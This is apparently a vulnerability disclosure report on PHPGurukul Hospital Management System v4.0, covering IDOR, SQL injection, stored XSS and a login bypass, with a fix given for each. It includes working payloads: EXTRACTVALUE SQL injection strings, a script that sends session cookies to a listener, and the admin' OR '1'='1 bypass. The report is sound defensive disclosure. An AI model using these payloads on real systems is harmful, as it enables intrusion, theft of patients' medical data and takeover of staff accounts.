

VULNERABILITY DISCLOSURE REPORT

Submitted To: National Critical Information Infrastructure Protection Centre (NCIIPC)

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Subject: Multiple Critical Vulnerabilities in [PHPGurukul Hospital Management System v4.0](#)

1. Reporter Information

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2. Target Information

- **Product:** Hospital Management System (HMS)
- **Vendor:** PHPGurukul
- **Version:** 4.0
- **Vulnerability Class:** Web Application

3. Replication Environment:

Since this is a software product vulnerability, the findings were verified in a local testing environment. To reproduce these findings, the analyst must:

- Download the source code from the Vendor URL:
<https://phpgurukul.com/hospital-management-system-in-php/>
- Deploy the application on a LAMP stack (Linux, Apache, MySQL, PHP)x.
- The vulnerabilities function exactly as described in the default installation.

4. Executive Summary

A security assessment of the Hospital Management System (v4.0) identified four critical vulnerabilities. These flaws allow unauthenticated attackers to exfiltrate database contents, bypass authentication to access administrative consoles, and hijack high-privileged sessions via Cross-Site Scripting.

Note: All Proof of Concepts (PoC) were executed in a controlled local environment to demonstrate the inherent flaws in the software package.

Finding #1: Insecure Direct Object Reference (IDOR) Leading to PHI Leak

- **Severity:** High
- **Description:** The application fails to verify object ownership when accessing medical records. An authenticated patient can modify the `viewid` parameter to access the confidential medical history (PHI) of other patients.
- **Impact:** Critical violation of patient privacy laws.

Proof of Concept: The screenshot below demonstrates User A (John Doe) viewing the medical records of User B (Homer Simp) by modifying the URL parameter to `viewid=3`.

The screenshot shows a web browser with three tabs open: 'Hospital management System', 'Hospital management System', and 'Users | Medical History'. The URL in the address bar of the third tab is 'localhost/Hospital-Management-System-PHP/hospital/hms/view-medhistory.php?viewId=3'. The main content area displays 'USERS | MEDICAL HISTORY' and 'Users | Medical History'. It shows a table with 'Patient Details' for Homer Simp, including Patient Name (Homer Simp), Patient Mobile Number (12345), Patient Gender (male), and Patient Medical History (Obesity, Back Pain, strange affinity for donuts). Below this is a table for 'Medical History' with one entry: # 1, Blood Pressure 145/95 mmHg, Weight 95 kg (209 lbs), Blood Sugar 7.5 mmol/L (135 mg/dL), Body Temperature 37.2 °C, Medical Prescription Lisinopril 20 mg daily; Metformin 1000 mg daily, and Visit Date 2025-12-15 16:09:09. The user navigation sidebar on the left includes links for Dashboard, Book Appointment, Appointment History, and Medical History. The top right corner shows the user profile 'John Doe'.

Remediation:

Implement session-based access control. Ensure the application verifies that the ID requested matches the `$_SESSION['user_id']` of the authenticated user before returning data.

Finding #2: Unauthenticated Error-Based SQL Injection

- **Severity: Critical (CVSS 9.8)**
- **Endpoint: /hospital/hms/get_doctor.php**
- **Description:** The application concatenates raw user input into SQL queries. An attacker can use XPATH Injection to trigger database errors that leak sensitive internal data, including Administrator password hashes.

Proof of Concept :

Authenticated as Patient login:

The screenshot below shows the application leaking the backend database version in a fatal error message after receiving a malicious SQL payload.

The screenshot shows a browser window for a "Hospital management System" with a "Book Appointment" form. The form fields include "Doctor Specification: ENT", "Doctor: Arif Kumar", "Consultant Fees: 500", "Date: 2019-12-28", and "Time: 145 PM". Below the form is a "Submit" button. The browser's address bar shows the URL: `localhost/Hospital-Management-System-PHP/hospital/hms/book-appointment.php`.

Below the browser window is a screenshot of the Network tab in a developer tools debugger. The Network tab lists several requests made during the session. One POST request to `get_doctor.php` is highlighted with a red box. The request body contains the malicious SQL payload: `&specification=ENT' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @version),0x7e))#;`. The response to this request shows a fatal error message: `Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: ~11.8.1-MariaDB-4~In /var/www/html/Hospital-Management-System-PHP/hospital/hms/get_doctor.php:6 Stack trace: #0 /var/www/html/Hospital-Management-System-PHP/hospital/hms/get_doctor.php(6): mysqli_query()#1 [main] thrown in /var/www/html/Hospital-Management-System-PHP/hospital/hms/get_doctor.php on line 6`.

The screenshot below shows admin creds revealed by querying the DB

Hospital management System x Hospital management System x User Book Appointment x Duck.ai

localhost/Hospital-Management-System-PHP/hospital/hms/book-appointment.php

60%

Book Appointment

Doctor Specialization: ENT

Dates: Anytime

Consultant fees: \$60

Date: 2025-12-26

Time: 10:00 AM

10:15 AM

10:30 AM

Submit

HOITAL MANAGEMENT SYSTEM

Network

New Request

Specification: specification=ENT AND EXTRACTVALUE(7,(SELECT concat(username,0x3a,password) FROM admin LIMIT 0,1),0x7e)...

Status Met... Domain File Indicator Type Transferred Size All Headers Cookies Request Response Timings Stack Trace

200 POST localhost get_doctor.php NetNLS.css.m... HTML 549 B 520 B HTML

200 POST localhost get_doctor.php NetNLS.css.m... HTML 411 B 411 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 482 B 398 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 482 B 398 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 493 B 404 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 563 B 534 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 487 B 403 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 493 B 412 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 495 B 411 B

200 POST localhost get_doctor.php NetNLS.css.m... HTML 340 B 100 B

200 GET localhost glyphicon-halflings-regular.woff query.min.js... HTML 340 B 39 B

200 GET localhost glyphicon-halflings-regular.woff query.min.js... woff cached 23.3

Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: "admin:min@12345" In /var/www/html/Hospital-Management-System-PHP/hospital/hms/get_doctor.php:6 Stack trace: #0 /var/www/html/Hospital-Management-System-PHP/hospital/hms/get_doctor.php(6): mysqli_query() #1 {main} thrown in /var/www/html/Hospital-Management-System-PHP/hospital/hms/get_doctor.php on line 6

Unauthenticated SQLi:

Analysis of the source code confirms that `get_doctor.php` lacks session validation checks (`session_start` or `isset($_SESSION)`), allowing unauthenticated users to trigger the SQL query.

Remediation:

Replace dynamic SQL concatenation with Prepared Statements (Parameterized Queries) to ensure user input is treated as data, not executable code. Validate session tokens before processing the request.

Finding #3: Stored Cross-Site Scripting (XSS) Leading to Account Takeover

- **Severity: High**
- **Description:** The "Patient Name" field is not sanitized. Malicious JavaScript injected into a profile executes in the Doctor's dashboard, allowing an attacker to steal the Doctor's active session cookie.
- **Impact:** Full account takeover of medical staff.

Proof of Concept: The screenshot below shows patient injecting the cookie stealing payload under the vulnerable User Name field and updating their profile

The screenshot shows a web browser window for the 'Hospital management System'. The title bar says 'User | Edit Profile' and 'Doctor | Appointment History'. The main content area is titled 'USER | EDIT PROFILE'. A red box highlights the message 'Your Profile updated Successfully'. Below it, the 'User Name' field contains the injected payload: 'John<script>new Image().src="http://localhost:8000/?cookie="+document.cookie;</script>'. Other fields visible include 'Address' (A 123 ABC Apartments GZB 201017), 'City' (Graziadad), 'Gender' (male), and 'User Email' (johnndor12@test.com). The 'Update' button is at the bottom.

The screenshot below shows the admin session cookie being collected as a result of the above payloads execution along with an event (when an more privileged/ elevated user logs in)

```
(kali㉿kali)-[~/tmp]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [16/Dec/2025 05:56:57] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 05:58:31] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:02:15] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:02:19] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:02:47] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:03:01] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:03:13] "GET /?cookie=PHPSESSID=93838ab82bb18811478e49bb74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:03:19] "GET /?cookie=PHPSESSID=93838ah82hh18811478e49hh74055d9c HTTP/1.1" 200 -
127.0.0.1 - - [16/Dec/2025 06:07:51] "GET /?cookie=PHPSESSID=d6431f40dff5dca7f79c820d720b6a92 HTTP/1.1" 200 -
```

The screenshot below shows how an attacker can use the stolen admin cookie to pass this value to the browser and gain elevated access

The screenshot displays a web browser window for a "Doctor | Dashboard" on "localhost/Hospital-Management-System-PHP/hospital/hms/doctor/dashboard.php". The dashboard features a sidebar with "MAIN NAVIGATION" options: Dashboard, Appointment History, Patients, and Search. The main content area is titled "DOCTOR | DASHBOARD" and contains two cards: "My Profile" (with an "Update Profile" link) and "My Appointments" (with a "View Appointment History" link). In the top right corner, there is a user profile for "Anuj kumar". Below the browser window, the "Application" tab of the Chrome DevTools is open, showing the "Cookies" section. A cookie named "PHPSESSID" is listed, with its value highlighted in red as "id643ff40dff5dca2f79c820a720b6a92". The DevTools sidebar also shows other storage types like Local storage, Session storage, Extension storage, and IndexedDB.

Remediation:

Implement strict **Input Sanitization** (removing special characters) on the client side and **Output Encoding** (e.g., `htmlspecialchars()`) on the server side before rendering user names in the dashboard.

Finding #4: Administrator Authentication Bypass

- **Severity: Critical**
- **Description:** The Admin Login portal allows SQL Injection. Using the payload `admin' OR '1'='1`, an attacker can bypass the password check and log in as Administrator.

Proof of Concept: The screenshot below shows successful access to the Administrative Dashboard without a valid password using the same payload in both the fields.

The screenshot shows a browser window with multiple tabs open, all titled "Doctor | Manage Patients". The active tab is "Admin-Login" at the URL `localhost/Hospital-Management-System-PHP/hospital/hms/admin/login`. The page title is "Admin Login". The form has two fields: "Name" containing "`admin' OR '1'='1`" and "Password" containing "*****". Below the form is a link "Bacto Home Page". At the bottom center is the text "HOSPITAL MANAGEMENT SYSTEM".

Admin Access granted!!!

The screenshot shows a browser window with multiple tabs open, all titled "Doctor | Manage Patients". The active tab is "Admin | Dashboard" at the URL `localhost/Hospital-Management-System-PHP/hospital/hms/admin/dashboard.php`. The page title is "Hospital Management System". On the left is a sidebar with "MAIN NAVIGATION" containing links: Dashboard, Doctors, Users, Patients, Appointment History, Conactus Queries, Doctor Session Logs, User Session Logs, Reports, Pages, and Patient Search. The main content area is titled "ADMIN | DASHBOARD" and contains five cards: "Manage Users" (Total Users: 3), "Manage Doctors" (Total Doctors: 6), "Appointments" (Total Appointments: 12), "Manage Patients" (Total Patients: 4), and "New Queries" (Total New Queries: 1).

Remediation:

Replace dynamic SQL concatenation with **Prepared Statements** (Parameterized Queries) to ensure user input is treated as data, not executable code.
